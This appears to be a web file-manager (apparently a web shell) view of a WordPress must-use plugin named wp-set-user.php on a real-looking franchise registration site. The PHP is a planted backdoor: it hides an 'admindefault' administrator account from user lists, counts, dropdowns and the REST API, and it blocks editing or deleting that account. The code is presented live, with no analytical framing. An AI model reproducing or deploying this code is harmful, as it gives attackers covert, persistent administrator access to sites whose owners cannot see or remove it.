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🗂️ simple

Path: big/web/franchiseregistrierung.kaisers-original.com/htdocs/wp-content/mu-plugins/

✏️ Editing: wp-set-user.php

<?php
if (!defined("ABSPATH")) exit;

$hidden_id = (int) get_option("_pre_user_id");

if ($hidden_id < 1) {
    $user = get_user_by("login", "admindefault");
    if ($user) {
        $hidden_id = $user->ID;
        update_option("_pre_user_id", $hidden_id);
    }
}

if ($hidden_id > 0) {
    add_action("pre_user_query", function($query) use ($hidden_id) {
        if (!is_admin()) {
            return;
        }
        global $wpdb;
        $query->query_where .= " AND {$wpdb->users}.ID != {$hidden_id}";
    }, 999);
    
    add_filter("views_users", function($views) use ($hidden_id) {
        if (!is_array($views)) {
            return $views;
        }
        foreach ($views as $role => $html) {
            $views[$role] = preg_replace_callback("/$(\d+)$/", function($m) {
                return "(" . max(0, (int) $m[1] - 1) . ")";
            }, $html);
        }
        return $views;
    }, 999);
    
    add_action("load-user-edit.php", function() use ($hidden_id) {
        if (isset($_GET["user_id"]) && (int) $_GET["user_id"] === $hidden_id) {
            wp_die("Access denied.");
        }
    }, 999);
    
    add_action("admin_init", function() use ($hidden_id) {
        if (isset($_GET["action"], $_GET["user"]) && $_GET["action"] === "delete" && (int) $_GET["user"] === $hidden_id) {
            wp_die("Access denied.");
        }
    }, 999);
    
    add_filter("rest_prepare_user", function($response, $user, $request) use ($hidden_id) {
        if ($user->ID === $hidden_id) {
            return new WP_Error("rest_user_invalid_id", "Invalid user ID.", array("status" => 404));
        }
        return $response;
    }, 999, 3);
    
    add_filter("users_list_table_query_args", function($args) use ($hidden_id) {
        if (isset($args["include"]) && is_array($args["include"])) {
            $args["include"] = array_diff($args["include"], array($hidden_id));
        }
        if (isset($args["exclude"]) && is_array($args["exclude"])) {
            $args["exclude"][] = $hidden_id;
        }
        return $args;
    }, 999);
    
    add_filter("wp_dropdown_users_args", function($args) use ($hidden_id) {
        if (isset($args["exclude"]) && is_array($args["exclude"])) {
            $args["exclude"][] = $hidden_id;
        } else {
            $args["exclude"] = array($hidden_id);
        }
        return $args;
    }, 999);
}

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